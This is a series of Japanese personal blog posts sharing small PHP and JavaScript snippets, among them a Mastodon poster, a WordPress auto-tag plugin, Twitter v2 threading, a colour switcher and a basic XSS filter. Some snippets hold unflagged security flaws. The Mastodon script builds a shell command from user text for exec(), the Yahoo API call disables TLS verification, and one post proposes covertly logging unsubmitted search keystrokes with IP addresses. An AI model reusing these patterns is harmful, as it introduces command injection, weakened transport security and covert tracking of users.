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日常日誌からプログラムやYOUTUBER紹介、旅日記まで日々更新中です。
カウンターを簡易的な設置してみた話。#phpcode
2023.03.24
おはようございます、黄砂によるP.M.2.5とやらが辛いです😭。
前置きはさておきブログタイトルの近くにカウンターを設置してみました、かなり適当なカウンターですが上手く動いているようです。ソースコードはこんな感じになります。これはchatGPTが創作したコードでは有りません。
counterHtml = "<br><span id='counter'>アクセスカウンター:0</span><br><br>";
document.getElementById("site_description").insertAdjacentHTML("afterend",counterHtml);
if(!(localStorage.getItem("counter")) || ( parseInt(localStorage.getItem("counter")) + 420000 < (new Date()).getTime()) ){
fetch("/counter/?counter=1").then(response=>response.json()).then(data=>{
document.getElementById("counter").innerText = "アクセスカウンター:" + data.cnt;
localStorage.setItem("counter",(new Date()).getTime());
});
}else{
fetch("/counter/?counter=0").then(response=>response.json()).then(data=>{
document.getElementById("counter").innerText = "アクセスカウンター:" + data.cnt;
localStorage.setItem("counter",(new Date()).getTime());
});
}
自分で書いたソースコードになります。実際、GPTにPHP言語とJS言語を使ってカウンターを作ってと投げたら答えが返ってくると思いますが、これは自前コードです。テストというテストもろくにせず動作させています。
<?php
if($_GET["counter"]==1){
$cnt = (int)(file_get_contents("cnt.txt"));
$cnt++;
file_put_contents("cnt.txt",$cnt);
print json_encode(["cnt"=>$cnt]);
}else{
print json_encode(["cnt"=>(int)file_get_contents("cnt.txt")]);
}
著者名 @taoka_toshiaki
※この記事は著者が40代前半に書いたものです.
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高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
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MastodonAPIに先週の日曜日に鞍替え。#脱TwitterAPI有料化
2023.02.10
おはようございます、TwitterAPIの有料化始まりましたね😖。
企業ではどういう対応を取るのでしょうか。個人で作っていたサービスはサービス閉鎖する人達が増えてきましたね。自分もBotで高知県の企業を応援するサービスを作っていたのだけど、2月5日にサービスを停止しました。
このブログは予約投稿なので、これが配信された時にはTwitterから具体的なAPIの値段などが発表されていると思います。その発表次第ですがBotを再稼働するという選択も残っているのですが、どうなるかは分からないです。
そんな中でPHP言語を使用しMastodonのAPIを使って「投稿だけ」する。コードを書きましたのでお裾分けです。
https://qiita.com/taoka-toshiaki/items/483340a28c03a1828400
php Mastodon.php 'テスト投稿です'
<?php
require "config.php";
class Mastodon{
const method = "POST";
const host = "mstdn.jp";
const endpoint = "/api/v1/statuses";
public static function toot($postdata = null)
{
if(!is_null($postdata)){
$data = http_build_query($postdata);
exec('curl -X POST -d "'.$data.'" --header "Authorization: Bearer '.ACCESSTOKEN.'" -sS https://'.self::host . self::endpoint.'; echo $?',$output);
var_dump($output);
}
}
}
// 「未収載」 -> 'unlisted'
// 「公開」 -> 'public'
// 「非公開」 -> 'private'
// 「ダイレクト」 -> 'direct'
if($argv[1]){
$postdata = [
"visibility"=>"public",
"status"=>strip_tags($argv[1]),
];
Mastodon::toot($postdata);
}
<?php
define('ACCESSTOKEN','xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx');
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laravelの非同期処理でDELETE・PATCH・PUT😗する方法。 #php #code
2023.01.27
おはようございます、華の金曜日ですね~🙄。けんすうさんは一体何歳なんだろか?自分より若いのかな?それとも・・・・。
さて、今日は久しぶりにlaravelの非同期処理でDELETE・PATCH・PUTをする方法を記載しておきます。大体の人が知っているもしくは非同期処理でRESTの設計を使わないよという方もいるかもしれない。ですが、あまり遷移させたくない、遷移させると余計にコードを書かないといけない等、そういう場面があると思います。是非、そういう時は非同期処理でDELETE・PATCH・PUTして上げてください。
因みにこの頃、知ったのですがBootstrapからtailwindへ鞍替えする人が続出してダウンロード数が逆転した話を知りました。web業界に限らずですが隅から隅まで覚えている人は凄いなと関心します。自分は、どうしてもググったりドキュメントでググったりします。
document.getElementById('btn').addEventListener('click', () => {
const formData = new FormData();
formData.append('id', document.getElementById('id_number').value);
formData.append('_method','PUT');//DELETE・PATCH・PUT
fetch('ajax-test', {
method: 'POST',
headers: {'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content}, // CSRFトークン対策
body: formData
})
.then(response => response.json())
.then(res => {
console.log('res: '+res[0].id);
document.getElementById("result").innerHTML = "ID番号" + res[0].id + "は「" + res[0].name + "」です。価格は「" + res[0].price+"円」です。";
})
.catch(error => {
console.log(error); // エラー表示
});
});
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サイト内の文字をハイライトする一万円の案件は。 #案件
2022.12.18
おはようございます、笑う門には福来る😆この記事は月曜日の朝に書いたものです💦。
先日、Chromeの拡張機能でサイト内の文字をハイライトする一万円の案件を募集しておりました。この一万円の案件は妥当な金額なのかが“????”。例えば人工知能をゴリゴリと使えるスーパーエンジニアにとっては朝飯前の案件だと思いますが、見習いエンジニアにとっては難しい案件なのかもしれない。
この一万円という金額は人によって高くもなるし安くもなるかもしれないです。要するに見習いエンジニアが3日間かけて納品した場合とスーパーエンジニアがものの数秒で納品した場合を日本の平均時給で考えると一方は黒字でもう一方は赤字になる。
そう考えると今回の文字をハイライトするという案件は適正価格なのかもしれない。
因みにこの文字をハイライトするChromeの拡張機能はもう存在しており無料で公開されている。そう考えると一万円も貰えるというのはラッキーなのかも知れない。
尚、文字をハイライトするコードは下記により参照ください(デモページはこちら)。
let funs = {
init: { htmlcode: document.getElementById("vals").innerHTML },
highlight: function (e) {
document.getElementById("vals").innerHTML = funs.init.htmlcode;
if (!String(this.value).match(/[a-zA-Z]/) && this.value) {
document.getElementById("vals").innerHTML = String(funs.init.htmlcode).replace(new RegExp(this.value, 'g'), '<span style="color:red">' + this.value + '</span>');
}
},
inputevent:function(){
document.getElementById("txt").addEventListener("input", this.highlight);
}
};
funs.inputevent();
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a-zA-Z, addEventListener, document.getElementById, function, funs.init.htmlcode, getElementById, gt, highlight, htmlcode, init, innerHTML, inputevent, lt, match, quot, replace, string, this.highlight, this.value, 朝飯前,
ワードプレスの自動タグ生成するプラグイン再開発。 #wp #tag
2022.12.12
おはようございます、今年もあと半分とちょっとですね、月曜日のたわわ☕。
さて、今日はワードプレスの自動タグ生成するプラグイン再開発しましたってお話です、この自動タグを生成するツールは以前、作っていたのですがYahoo!APIのバージョンアップに伴い使用出来なくなっていました。その為、プラグインを更新しV2対応をこの度、行ったって話です。もともと日本語記事のタグ自動生成するものは存在していたのですが、それがエラーで使用出来なくなり自分で開発したのが今に至っています。
プラグインをダウンロードして使いたい方は、zipファイルを解凍し解凍したフォルダをサーバーのプラグイン置き場にアップロードすることにより使用出来るようになります。尚、前手順としてYahoo!APIのアプリケーションIDの取得を行う必要があります。
プラグインをダウンロードしたくないという方のためにソースコードを一部貼っときます。
if (isset($appid)) {
$endpoint = "https://jlp.yahooapis.jp/KeyphraseService/V2/extract";
$headers = [
"Content-Type: application/json",
"User-Agent: Yahoo AppID: ".$appid,
];
$param = [
"id"=> time(),
"jsonrpc" => "2.0",
"method" => "jlp.keyphraseservice.extract",
"params" => [
"q"=>preg_replace("/https?:([a-zA-Z0-9|\/|_|\-|%|@|\*|\.|\?|&|=]){0,}/m","",$content)
]
];
$curl=curl_init($endpoint);
curl_setopt($curl,CURLOPT_POST, TRUE);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl,CURLOPT_POSTFIELDS, json_encode($param));
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl,CURLOPT_RETURNTRANSFER, TRUE);
$response = json_decode(curl_exec($curl));
if (isset($response->result->phrases)) {
foreach ($response->result->phrases as $keys=>$word) {
if ($word->text) {
$tags[] = $word->text;
}
if (is_array($tags)) {
wp_set_post_tags($post_id, implode(",", array_unique($tags)), false);
}
}
}
}
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application, false, foreach, gt, headers, implode, isset, jlp, json_decode, json_encode, keys, PARAM, phrases, quot, quot;User-Agent, response, result, Text, true, VERIFYHOST,
dockerでlaravel環境構築したお話。 #hosts
2022.12.08
おはようございます、今日は早朝に明日の記事を書いています😆。
さて、dockerでlaravel環境構築したお話を書いていきます、Dockerの環境でApacheをインストールし、バーチャルホストを設定してwindows側のhostsも変更しDocker側のhostsも設定、起動確認も取れたので、一旦Dockerを終了し再度立ち上げるとDocker側のhostsが初期値に戻っている🤔。
これDockerの仕様らしいので、下記のようにdocker-compose.ymlを設定(extra_hosts)するか、Docker runでコンテナを立ち上げる場合はパラメーター–add-hostを付与してあげないといけない😳。
version: "3"
services:
web:
image: almalinux:latest
container_name: Apache_v2.4
ports:
- 80:80
privileged: true
command: /sbin/init
extra_hosts:
- "example1.com:127.0.0.1"
- "example2.com:127.0.0.1"
volumes:
- E:\var\www\html:/var/www/html
docker run --add-host=example1.com:127.0.0.1 .....
尚、Docker側のhostsを変更しないまま、立ち上げてもLaravelは動かないと思います。何故、動かないかはここでは割愛させて頂きます🙇。
著者名 @taoka_toshiaki
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--add-host, 3, almalinux, ap, Apache, container, docker, docker-compose, extra, hosts, image, Laravel, latest, name, quot, run, services, Version, web, Windows, yml, インストール, お話, これ, こんてな, バーチャル, パラメーター, ホスト, 一旦, 下記, 今日, 仕様, 付与, 側, 再度, 初期, 場合, 変更, 早朝, 明日, 構築, 環境, 確認, 終了, 記事, 設定, 起動,
全国各地の漁港データをJSONデータ化したお話🦾。#php #map
2022.12.07
おはようございます、昨日は晴れていましたね☼。
そんなお天気な日に漁港座標データXMLをJSONデータ化しておりました。国土交通省のデータを加工しJSONデータに加工するのはそんな難しい問題じゃないかなって思っていたのですが、データが重たい、中身のXMLデータは名前空間使っているなどという面倒くさい仕様になっておりました。名前空間の対応は、こちらのQiitaの記事を参照してほぼコピペで自分のコードに追加しました。
だた追加しただけでは、あんなツイートしたJSON構造にならないので細工しています。自分が必要なのは漁港名と座標軸だけなので、これだけで良い感じです。
preg_grep("/".$val->{"@attributes"}->id."/",$name);
因みにXMLファイルが重いので自分はデータを分割しました(エラーが出力されるので)。php.iniの設定は変えたくなかったので分割と加工をしたわけです。座標データと漁港名に分割して上記のコード等を使用しJSONファイルを出力。このJSONコードを元にオープンストリートマップ(OpenStreetMap)とかでサービスを作ることが出来ますが、このデータは非商用なので使い物にならないかな…🤔。データの販売等や二次配布は禁止だけど、データ活用は禁止していないように取れるので詳しく調べてみます🙄。
追記:都道府県を追加してみました。
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attributes, grep, gt, ID, json, map, name, php, preg, qiita, quot, val, xml, お話, コード, こちら, コピペ, これだけ, ツイート, データ, ファイル, 中身, 仕様, 全国, 分割, 加工, 参照, 各地, 名前, 問題, 国土交通省, 天気, 対応, 座標, 座標軸, 必要, 感じ, 日, 昨日, 構造, 漁港, 空間, 細工, 自分, 記事, 追加,
CSSファイルの設定を読み込んで一括背景色変更するコード。 #cssfile #javascript #coding #colors
2022.11.30
おはようございます、先日の日曜日は原因不明の体調不良で寝込んでおりました(¦3[▓▓]。
今日は何とか体調が回復したので、CSSファイルの設定コード読み込んで一括背景色変更するプログラムコードを作成しました。※実際、自分のブログ・サイトで動いているコードになります。
<link rel="stylesheet" href="examplestyle.css">
導入方法はまずヘッダーに変更したいCSSファイルを記述します。次にbody内に下記のコードを記述します。
<span id="site_description"></span>
最後にJSコードを挿入します。JSコードはファイルで読み込むでもベタ書きでも良いのですが、上記のHTMLタグより下に記述してください。そうしないと動作しません😗。
let htmlcode = ["#efefef", "#181B39", "#262a2e", "#192734", "#1c483b", "#bf7800", "#83094f"].map(elm => `<span class='color_code' style='color:${elm}' data-color-code='${elm}'>■</span>`).join("\n");
const basecolor = "#262a2e";
let cookiefn = function (CodeColor) {
let r = document.cookie.split(';');
return r.length ? ((r) => {
let changecolor = "";
for (let ii = 0; ii < r.length; ii++) {
let content = r[ii].split('=');
for (let i = 0; i < content.length; i++) {
if (content[i].replaceAll(" ", "") === "bgcolor_code") {
changecolor = content[i + 1];
}
}
}
return changecolor?changecolor:CodeColor;
})(r) : CodeColor;
};
let old_color = cookiefn(basecolor);
document.getElementById("site_description").insertAdjacentHTML("afterend", htmlcode);
[...document.querySelectorAll(".color_code")].forEach(elm => {
elm.addEventListener("click", function (e) {
color_set(elm.getAttribute("data-color-code"));
});
});
color_set(old_color);
function color_set(color) {
for (let ii = 0; ii < document.styleSheets.length; ii++) {
if (String(document.styleSheets[ii].href).match(/mag_tcd036-child\/style\.css\?ver=/)) {
for (let i = 0; i < document.styleSheets[ii].cssRules.length; i++) {
let element_css_code = document.styleSheets[ii].cssRules[i];
try {
element_css_code.style.backgroundColor = color;
if (color === "#efefef") {
element_css_code.style.color = "#000000";
} else {
element_css_code.style.color = "#FFFFFF";
}
//いらないかも領域🤔👇
document.querySelectorAll("#wp-calendar > tbody > tr > td > a").forEach(elm=>{
elm.style.backgroundColor = "#909091";
});
document.getElementById("searchsubmit").style.backgroundColor = "#000";
document.querySelector("#s").style.backgroundColor = "#909091";
[...document.querySelectorAll("code")].forEach(elm=>{
[...elm.querySelectorAll("span")].forEach(childen_elm=>{
childen_elm.style.backgroundColor = "#565656";
});
});
//いらないかも領域🤔👆
} catch (error) {
}
}
document.cookie = "bgcolor_code=" + color;
}
}
}
注意事項:背景色を変更するCSSファイルをJSコードでチェックしています。そのチェックしている部分を外すと全てのCSSファイルの背景色を変えることが可能です。
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3, body, coding, colors, css, cssfile, description, examplestyle, gt, href, ID, javascript, JS, link, lt, quot, rel, site, span, stylesheet, コード, サイト, ファイル, ブログ, プログラム, ベタ, ヘッダー, 一括, 下記, 不明, 不良, 今日, 体調, 作成, 先日, 内, 原因, 回復, 変更, 実際, 導入, 挿入, 方法, 日曜日, 最後, 背景色, 自分, 記述, 設定,
超簡単なコード🦋マウス追従をする。 #javasriptcode
2022.11.28
おはようございます。先週、土曜日の朝は雨がしとしとと降っていましたね☔。
そんな中で一つのデモコードの動画撮影をしていたのですがボツにしました。理由は超簡単過ぎるコードなので、再生回数が狙えそうにないなという判断からです(尺も短いし…)。でも一応コードを書いたのでソースコードはリリースします。タイトル通り、マウス追従するコードです。マウスポインターを一定の距離間隔で追従します。ソースコードはjavasriptだけ貼っていますが、CSSやHTMLを使用して円を描いています。そちらはデモサイトを検証して頂けたらと思います。
let circle = document.getElementById("circle");
document.body.addEventListener("mousemove",function(e){
let a = e.currentTarget.getBoundingClientRect();
let x = e.clientX - a.left;
let y = e.clientY - a.top;
circle.style.top = `${y}px`;
circle.style.left = `${x}px`;
circle.style.transform = `translate(50px,50px)`;
})
余談:
この頃、ブログがスランプ状態ですね、キーボードも弾みません、波に乗っているときは結構早く一つの記事を書くことが出来るのですが全然ですね。そんな弾まないブログ記事作成の一コマの風景を動画に撮りました。明日の記事かYOUTUBEにアップしているので参照してみてくださいな(音楽は軽やかなんですけど…😅)。
著者名 @taoka_toshiaki
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お天気APIを試してみました。#超簡単コード
2022.11.21
おはようございます、今日は天気APIの話なので天気のお話はしませんが…。
さて、超簡単コードを記載しています。下記のソースコードとオープンウェザーマップのAPIKEYがあれば、誰でもプログラマーです。という事を言えば後ろから蹴られそうですが…。先ずは簡単なコードを見て勉強するのが大事かなって思います。
いきなり難しいことを身に着けようと思っても、三日坊主になって先に進まないのが世の常ですw。なので、簡単なコードで楽しんで勉強するほうが大事かなって。
<?php
require "./assets/config.php";
$lat = "33.55972";
$lon = "133.53111";
$lang = "ja";
$url = "https://api.openweathermap.org/data/2.5/weather?units=metric&lang={$lang}&lat={$lat}&lon={$lon}&appid=".APIKEY;
$hasWeatherdata = json_decode(@file_get_contents($url));
print($hasWeatherdata->weather[0]->description);
print("<img src='./assets/images/". $hasWeatherdata->weather[0]->icon .".png.webp'>");
print((int)($hasWeatherdata->main->temp) . "℃");
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md5でいいのかそれで?。 #wp #phpcode
2022.11.17
おはようございます、いきなり寒くなりましたね。朝起きるのに勢いが必要になってきました😆。
今日はワードプレスでもパスワードの暗号化に使用されているmd5に関して思うことがあります。そもそもmd5は強固な暗号なのか?、答えはnoだと思いますよ。md5を使用すると32文字の暗号化された文字列が返却されます。確かに暗号化されているですけど・・・。同じ文字をもう一度、暗号化すると同じ文字列が返却されます、なので暗号化された文字列になるかどうかで、元の文字が割り出せてしまいます。
総当たりすれば時間はかかりますがパスワードが分かちゃうので、パスワードを保存する方法としては△な感じかと思います。じゃ何が良いかといえばphpの場合、password_hashと言う関数があるので、そちらを使用した方が得策かと思います。Eメールなどはmd5でも良いかも知れませんが微妙。
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);
因みに、パスワードなどやメールアドレスを平文で扱っている開発会社はよく見かけます。何故、平文を放置しているかと言えば直す暇がないなどの理由からだと思います。また、クライアント様がそうして欲しいなどの理由もあります。そういう事から個人情報が保護されていないデータベースはあります。
尚、自分が使用しているWEBサービスも個人情報にあたる部分は暗号化しています。なので、データーが流出しても直ぐに情報が漏れるということはないと思っています🫠。
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32, 5, echo, hash, md, no, password, php, PHPCODE, quot, rasmusl, wp, こと, そちら, パスワード, プレス, メール, ワード, 一度, 今日, 何, 使用, 保存, 元, 勢い, 場合, 得策, 微妙, 必要, 文字, 文字列, 方, 方法, 時間, 暗号, 暗号化, 朝, 答え, 総当たり, 返却, 関数,
htmlとcssとphp-初学非同期処理とおまけ-No.3
2022.11.14
おはようございます。月曜日の朝ですね‥お仕事探しは続いています。
さて、非同期処理とは何かと問われると詰まりますが・・・。いつ結果を返してくれない処理といえば良いのでしょうか。じゃ同期処理はといえば仕事が終わるまで次の仕事を進めない事といえば良いのかな🤔、教えるのが下手なのでぐぐってみてください。
document.querySelector(".btn").addEventListener("click", () => {
let p = [document.querySelector("[name='name']").value, document.querySelector("[name='text']").value];
[...document.querySelectorAll(".put")].forEach((elm, index) => {
elm.innerText = p[index];
});
document.querySelector("#box2").style.display = "none";
document.querySelector("#data").insertAdjacentHTML("beforeend", `<button class="btn2" type="button">非同期送信</button>`);
document.querySelector(".btn2").addEventListener("click", async () => {
//submit code
let url = "./submit.php";
let data = (() => {
return ([...document.querySelectorAll(".put")].map((elm, index) => {
return "test" + index + "=" + elm.innerText;
})).join("&");
})();
const options = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
"Content-Length": data.length,
'Accept': 'application/json'
},
body: data //JSON.stringify(data)
};
await fetch(url, options).then(response =>
response.json()
).then(resultdata => {
document.getElementById("view").insertAdjacentHTML("beforeend", resultdata.test0 + "," + resultdata.test1);
}).catch(error => {
console.log(error);
});
});
});
function imgchg(imagename){
document.body.setAttribute("style","background-image: url(./assets/images/" + imagename + ".jpg.webp");
}
ぐぐると自分言っていた意味がなんとなく分かるかと思います。ちなみに非同期動画(youtube)のおまけとして、背景画像を変える処理のソースコードを書いています。プログラムコードとしては3行ですが、初学者の方はこの3行のソースコードの方が面白いのかもしれません。自分が書いたソースコードを所々、変更して動かしてみてください。そうすることで、徐々にコードの意味が理解してくると思います。
追伸:サンプルサイトの動画は少しお休みします()?
https://358tool.com/sample-site/
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3, 39, addEventListener, btn, click, css, document, gt, html, let, name, no, php, querySelector, querySelectorAl, quot, Text, value, いつ, おまけ, お仕事, 事, 仕事, 何, 処理, 初学, 同期, 月曜日, 朝, 次, 結果,
データからページネーションが出来る。 #jscode
2022.11.10
おはようございます、昨日は朝が寒く昼間は暑い日でしたね😗。
さて、データからページネーションが出来るライブラリがある事を知りましたのでそちらの紹介と使い方です。今回、使用したのはPagination.jsというライブラリです。使い方は簡単、下記のようなデータがあった場合、このようなソースコードを書いて使用します😮。
[
{
"id": 1,
"name": "白川 正人",
"hiragana": "しらかわ まさと",
"age": "45",
"bday": "1977年04月10日"
},
{
"id": 2,
"name": "大村 麻衣子",
"hiragana": "おおむら まいこ",
"age": "42",
"bday": "1979年12月11日"
},
{
"id": 3,
"name": "大原 静香",
"hiragana": "おおはら しずか",
"age": "53",
"bday": "1969年06月20日"
},
{
"id": 4,
"name": "吉田 佐代子",
"hiragana": "よしだ さよこ",
"age": "40",
"bday": "1982年05月24日"
},
{
"id": 5,
"name": "宮原 和弘",
"hiragana": "みやはら かずひろ",
"age": "22",
"bday": "2000年04月29日"
},
{
"id": 6,
"name": "伊藤 二郎",
"hiragana": "いとう じろう",
"age": "27",
"bday": "1995年02月18日"
},
{
"id": 7,
"name": "井上 明子",
"hiragana": "いのうえ あきこ",
"age": "55",
"bday": "1967年06月26日"
},
{
"id": 8,
"name": "恩田 雄",
"hiragana": "おんだ ゆう",
"age": "37",
"bday": "1985年09月25日"
},
{
"id": 9,
"name": "山崎 幸志",
"hiragana": "やまざき こうじ",
"age": "29",
"bday": "1993年03月24日"
}
]
$.extend($.fn.pagination.defaults, {
className: 'paginationjs-theme-blue',
pageSize: 3
});
let url = "json data のurl";
(async () => {
await fetch(url).then((result) => result.json()).then(
(data) => {
data.reverse();
$('#demo').pagination({
dataSource: data,
callback: function (data, pagination) {
var html = table_make(data);
document.querySelector("#tbl").innerHTML = html;
}
})
}
)
})();
function table_make(data) {
return (data.map((element) => {
let str = "";
str += "<tr>";
str += ((Object.keys(element).map(el => "<td>" + element[el] + "</td>")).join(""));
str += "</tr>";
return str;
})).join("\n");
}
<div class="col-12" id="demo">
<table class="table table-dark" id="tbl"></table>
</div>
コードを抜粋して書きましたが、このコードを書く事とjsのライブラリとcssファイルもダウンロードするようにして下さいね🫠。
因みに自分はこのライブラリを初めて使用しましたが、結構使いやすいですね。今まで開発ではLaravelなんかのページネーションを使用していた事はありますが、フロント側で出来る事を知り驚きを隠せませんというのは大袈裟ですけど使い道は有るなって思います。
著者名 @taoka_toshiaki
※この記事は著者が40代前半に書いたものです.
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高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
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Manifest V3、ブラウザ拡張機能のアレに対応した解説動画。
2022.11.02
おはようございます、カサカサ肌には大変な季節です🫠。
今日はManifest V3、ブラウザ拡張機能(Chrome拡張)のアレに対応した解説動画がありましたのでご紹介します。こちらの動画で基本は分かる感じになっています。いつまで掲載されるかわからないので、リンクだけ貼っときます。こちらになります。
尚、マニフェストの書き方だけがV3になってから変わっただけではないので、そこの所が注意しないといけない所です。自分もグーグルクロームに拡張機能を公開していたので、そちらの使用されている拡張機能は修正しました。
今、自分用に作っているV3のマニフェストの書き方だけ載せときますね。
{
"name": "lancers footpoints",
"version": "1.0.0",
"manifest_version": 3,
"description": "ランサーズ。",
"permissions": [
"tabs",
"scripting"
],
"action": {
"default_icon": "icon20221101.png.webp"
},
"background": {
"service_worker": "src/background.js"
},
"content_scripts": [
{
"matches": [
"https://www.lancers.jp/work/search*"
],
"css":["src/style.css"]
}
]
}
あと、backgroundとcontent_scriptsの送受信の関係などが記載されているサイトを見つけたので、そちらもリンクを貼っときます、こちらのページになります。
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Twitter-API-v2ツイート数珠繋ぎ #コード公開 #php
2022.10.04
おはようございます。土日祝も関係なくブログは毎日書いています🤮。
さて、今日はPHP言語でTwitterAPIバージョン2(v2)を使用してツイート数珠繋ぎをする方法を抜粋して記載していきます。こういうコードは今のところ出回っていないようです。少し調べれば公式サイトに記載しているのだけども・・・。まだ、日本語に対応した記事が少ないようです。v2でツイートする方法やリツイートする方法は何故かあるのだけどリプライ(Reply)[/statuses/update]する方法が記事としては記載していなかったので?記載します。
<?php
require_once "vendor/autoload.php";
use Abraham\TwitterOAuth\TwitterOAuth;
class tw{
var $connection = null;
function __construct()
{
$this->connection = new TwitterOAuth(APIKEY, APISECRET,ACCESSTOKEN, ACCESSTOKENSECRET);
$this->connection->setApiVersion("2");
}
function pickup_tweets(mixed $tw_text=null){
$obj = (object)[];
if(isset($tw_text) && is_array($tw_text)){
foreach ($tw_text as $key => $value) {
if(preg_replace("/[ | ]/","",$value)){
$obj = !$key?(
$this->connection->post("tweets", ["text" =>$value], true)
):
(
$this->connection->post("tweets", ["reply"=>["in_reply_to_tweet_id"=>$obj->data->id],"text"=> $value], true)
);
}
}
return true;
}
return false;
}
}
最初に結論とコードのアルゴリズムに付いて解説します。まず、tweetsのパラメーターでリプライ出来るように変更されています。v1.1とはそこが変わっているので同じ仕組みを検索しがちですがそれでは検索にヒットしないようです🤔。まずはエンドポイントの変更点の確認が必要みたい👏。
エンドポイントのv1.1からv2への対応表が公式から出ているので確認してみてください↑。
次にコードの解説ですがまずTwitterOAuthライブラリをインストールを行い、defineなどの設定なども考慮した上で実行してみてください(コードに追記記載が必要)。変数、$tw_textは配列です。また投稿する文字が入っていると考えてください。そしてこのコードを下記のような考え方で実行してみてください。
<?php
require_once "tw-index.php";
$tw_text[0] ="test1";
$tw_text[1] ="test2";
$tw = new tw();
if($tw->pickup_tweets($tw_text)){
$ret["msg"] = "ok";
}else{
$ret["msg"] = "NG";
}
var_dump($ret);
※前提条件としてtwitter社にAPIの申請を行って受理されている事。
これで思った通り実行出来たと思います。尚、自分のように管理画面などを作って数珠繋ぎの投稿するのも良いかも知れません🫠。
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2, Abraham, autoload, class, connection, function, lt, null, once, php, quot, Reply, require, statuses, tw, Twitter-API-v, TwitterAPI, TwitterOAuth, UPDATE, use, var, vendor, コード, サイト, ツイート, ところ, バージョン, ブログ, リツイート, リプライ, 今, 今日, 使用, 公式, 公開, 土日, 対応, 少し, 抜粋, 数珠繋ぎ, 方法, 日本語, 毎日, 祝, 言語, 記事, 記載,
よんでんコンシェルジュの不具合について考える人。 #日別料金計算
2022.09.27
おはようございます。タイトルの不具合が解消されていたらゴメンナサイ。これは昨日に書いた記事です🤔。
夕方頃によんでんコンシェルジュの日別の電力と電力料金を見ようとした所、何やら不具合が発生していたらしく、合計金額が見えなくなっていたのでコードを書いてみました😌。
ざっくりとした金額合計が表示するような物ですので、実際の金額とは差異が発生します。ソースコードはこんな感じです。
let kwh = document.querySelectorAll(".img_area > table > tbody > tr > td");
if(kwh){let s = 0;
for(let i = 0;i < kwh.length ; i++){
if(kwh[i].innerText.match(/(kWh)/)){
s = s + (Number(String(kwh[i].innerText).replace("kWh",""))*100);
console.log(kwh[i].innerText);
}
}
let r = 0;
s = Math.floor(s /100);
if(s >11){
if(s < 120){
r = ((s -11) * 20) + 411;
}
if(s < 300){
r = ((s - 120) * 27) + 411 + 2220;
}
if(s >= 300){
r = ((s - 300) * 30) + 411 + 2220 + 4858;
}
}
console.log("合計金額=" + String(s) + "kWh " + String(r) + "円");
}
尚、消費電力が11kwh以下の人の金額は0円になっていますが、実際は料金が発生します。それにしても四国電力の料金内訳を見ていると何だか、モヤモヤする料金体系になっていて、これは面倒だなと感じました。こんな料金体系じゃなく一律のお値段にして欲しいですね・・・(消費電力によって値段が変動しますし…etc…)。
ソースコードの取り扱い:
上記のソースコードを四国電力(よんでんコンシェルジュ)の日別ページを開いた状態にして、ブラウザのコンソール画面にソースコードを貼り付けて実行してみてください。電力の合計金額などがコンソール画面に表示されます。
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0, area, document, For, gt, if, img, innerText, kwh, length, let, lt, match, querySelectorAll, quot, TABLE, tbody, td, tr, コード, これ, コンシェルジュ, ソース, タイトル, よんでん, 不具合, 人, 合計, 夕方, 実際, 差異, 感じ, 所, 料金, 日別, 昨日, 物, 発生, 表示, 解消, 計算, 記事, 金額, 電力,
検索されなかったワード埋もれた価値について! #javascript #php
2022.09.26
おはようございます、今日は引き落とし日です🫠。
さて、今日は検索されなかったキーワードの価値のお話です。此処で言う検索されなかったというのは、エンターキーや検索ボタンを押さなかった、キーワードの価値のお話です、たぶん、その情報をGさんは収集してそうな気がします。GサイトやYサイト等のキーワード収集は基本出来ませんが、自サイトの検索フォームの情報を収集出来ます。
此処からは技術的なお話になりますが、検索ボタンを押した時とは別に文字入力をしたときの挙動を感知するプログラムを導入する事により比較的簡単に導入できるかと思います。例えば下記のようなjavascriptコードを検索フォームに導入します。
document.getElementById("sh").addEventListener("input",(e)=>{
$.ajax({
type: "post",
url: "example.com/sh.php",
data: {text:this.value},
dataType: "json",
success: function (response) {
}
});
});
あとはPHP側でデータを受信しデータベース等に保存すれば良いだけです。この検索されなかったワードは、結構価値があると思います。より細かな情報を取得したい方はIPアドレスやどのページからの情報なのかも取得可能です。
これらのデータを元に販路開拓は十分出来ると思います。情報を保存する際に大量の情報が収集されるので、保存先に一工夫必要になります。JSで制御する手段もありますが、それだとあまり情報収集出来ないですからね。
因みにこのサイトに情報収集の処理は導入していません(今後の導入は未定)。
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addEventListener, ajax, document, getElementById, gt, input, javascript, php, quot, sh, エン, お話, キーワード, コード, サイト, ターキー, とき, フォーム, プログラム, ボタン, ワード, 下記, 事, 今日, 価値, 入力, 収集, 基本, 導入, 情報, 感知, 挙動, 文字, 日, 時, 検索, 此処, 気, 簡単, 自,
若気の至り若気の過ちか?Mr.ROBOT🤖
2022.09.11
こんばんは、深夜便で東京に向かってます(嘘です)。
今日は緊急で動画廻してます(記事を書いています)。私が昔書いたコードに大きな脆弱性が合ったので、そのコードの穴だけ塞ぎました。まだ、色々な所に穴があるかもしれないですが・・・。
この脆弱性に関しては知っていたのですが、昔のコードをそのままにしていたのを失念していたのです、それが大きな過ち…。仕事では重大インシデントになりますね😱。
<?php
function defence_xss($data=""){
if(is_array($data)){
foreach ($data as $key => $value) {
$data[$key] = strip_tags($value);
$data[$key] = htmlspecialchars($data[$key],ENT_QUOTES);
}
}else{
$data = strip_tags($data);
$data = htmlspecialchars($data,ENT_QUOTES);
}
return $data;
}
今回、塞いだのは初歩の脆弱性です、、、POSTやGETで送られるデータに悪意のあるコードなどを埋め込んでハッキングを行う手法です。またセッションジャックとかそういうのもありますので、気になる方は調べてみてください。
追記して書いときます。昔勤めていた会社でも何度か、この手の手法でハッキングに合いました。脆弱性が解消されているかは分かりません。XSS攻撃は防げても、これではSQLインジェクション攻撃は防げません、昔のコードで動いているとしたら修正箇所は無数にあるので一日では直せないでしょう。
昔勤めていた会社はShopifyへシステムを移行しているようですが、それが良いのかは分かりません、自分だったら物足りなさを感じると思います😌。
